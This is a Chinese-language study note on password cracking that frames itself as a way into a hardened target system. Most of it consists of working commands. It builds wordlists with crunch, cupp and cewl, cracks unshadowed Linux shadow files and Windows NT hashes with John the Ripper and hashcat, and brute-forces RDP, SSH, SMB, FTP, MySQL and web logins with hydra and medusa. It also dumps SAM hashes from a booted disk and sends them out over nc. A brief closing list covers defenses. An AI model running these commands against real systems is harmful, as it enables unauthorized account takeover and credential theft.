密码破解

7.密码破解
目标系统实施了强安全措施,安装了所有补丁、无任何已知漏洞、无应用层漏洞、攻击面最小化;黑客还能通过两个途径入侵,1.社会工程学,2.获取目标系统用户身份;
7.1. 密码破解方法:
7.1.1.人工猜想:垃圾桶工程、被动信息收集;
7.1.2.基于字典暴力破解(主流)通过wordlist来破解,linux系统里面搜索wordlist;
7.1.2.1.1./usr/share/wordlist、这个用find在linux中查找;
7.1.2.1.2.自己创建密码文件,在linux用crunch命令创建例如:
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
还有字符集文件,在/usr/share/crunch/charset.lst中,选择相应想生成的字符组成字典:
可以根据需求定制每个位置是什么类型的字符集
7.1.2.1.3.cupp,这个工具github下载,然后可以根据自己定制的信息,生成专属的密码字典,命令:python cupp.py
7.1.2.1.4.cewl:通过收集网站i信息生成字典;
7.1.2.1.5.John the Ripper
利用john配置文件实现密码动态变形,配置文件/etc/john/john.conf,这里主要内容是生成字典;命令:john --wordlist=cewl.txt --rule --stdout > code.txt
1.可以根据密码特性,第一个字符大小写,然后两位字母再一个符号,后续就是一些数字组合生成字典;
2.四种模式:
3.破解linux密码:
3.1 unshadow /etc/passwd /etc/shadow > pass.txt
3.2 john pass.txt 【用默认方式破解】
3.3 john --show pass.txt 【查看破解出来的密码】
4.破解windows密码:
1.john sam.hash --wordlist=passwd.lst --format=nt
7.1.2.1.6.hydra:在线密码破解(有可能不是很稳定)
1.Windows密码破解: hydra -l Administrator -p john.txt rdp://192.168.1.X -vV
2.linux密码破解:hydra -l root -p john.txt ssh://192.168.1.X -t 1 -vV ;-t 是线程数,有些协议不能太快,因为相应慢会导致错做正确的密码;
3.其它服务的破解:hydra -L user.lst -P john.txt ftp://192.168.1.X -s 2121 -t 1 -vV;-s为非默认端口
4.图形界面是:xhydra
5.基于http表单的身份认证:hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:S=index.php" -V;基于表单需要提前与burp-suit配合使用,确定好成功的特征字符,跳转之后的成功字符,一般可以在header中找到,上面命令S代表成功的字符,默认是失败的字符;
7.1.2.1.7.medusa:在线破解工具,稳定性好、速度控制得当,基于线程、支持模块少于hydra(不支持RDP)
1.破解windows密码:medusa -M smbnt -h 192.168.1.x -u administartor -P pass.lst -e ns -F (smb可以接受大量并发,所有会很快)
2.破解linux密码:medusa -M ssh -h 192.168.1.x -F -e ns -u root -P /usr/share/wordlist/nmap.list
3.其它服务:例如mysql,medusa -M mysql -h 192.168.1.113 -e ns -F -u root -P pass.lst
7.1.2.1.8.身份认证:1.禁止明文传输密码;2.每次认证使用HASH算法加密密码传输;3.服务器端用户数据应加盐加密保存;破解思路:1.嗅探获取密码HASH;2.利用漏洞登录服务器并从用户数据库获取密码HASH;3.识别HASH类型,利用离线破解工具碰撞密码HASH;hash加密算法识别:1.Hash-identifier;2.Hashid;
7.1.2.1.9.Hashcat:离线破解,在可以物理接触的条件下(Windows):
1.kali ios 引导盘
2.mount /dev/dev2 /mnt
3.cd /mnt/Windows/System32/config
4.samdump2 SYSTEM SAM -o sam.hahh(导出账号和hash后的密码)
5.通过nc传输HASH
6.使用Hashcat进行破解:hashcat -m 1000 sam.hash pass.lst;1000是指NTLM,sam.hash是要破解的文件,保存着hash密文,pass.lst是字典;
下面是不用字典,而用掩码来指定密码内容:
7.1.2.1.10.Syskey(这个不是破解软件):这个工具是windows7之前系统加密SAM文件的加密工具,这样用上面的破解工具无法破解sam中的密码,必须通过bkhive工具提取SYSTEM文件的key,详情还是通过百度研究,syskey目前在windows找不到,只能针对windows7及以前系统,可用性可能不高;
7.1.2.1.11. Oclhashcat:免费开源、基于GPU的密码破解软件,虚拟机中无法使用,支持CUDA技术的NVIDA显卡、支持opencl技术的AMD显卡;
命令:oclhashcat64 -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
7.1.2.1.12.RainbowCrack:彩虹表,基于时间记忆权衡技术生成彩虹表,提前计算密码的HASH值,通过对比HASH值破解密码,彩虹表可以到网站下载:https://freerainbowtables.com/
1.密码破解:rcrack *.rt -h 【hash密文】
2.密码破解:rcrack *.rt -h hash文件
7.1.2.1.13.ophcrack:生成彩虹表,只能破解LM hash、NT hash,打开软件,先在软件下载最新彩虹表,好像只能破解XP和vista;
7.1.3.键盘空间字符爆破:键盘上有的字符,所有的组合进行爆破;
7.1.4.防止暴力破解:
7.1.4.1.密码复杂度
8-12位、账号和密码不相同、大小写数字和字符;
7.1.4.2.验证码措施
可以防止暴力破解,但是现在有机器人可以识别验证码,所以需要提高验证码的复杂性,
7.1.4.3.限制登录次数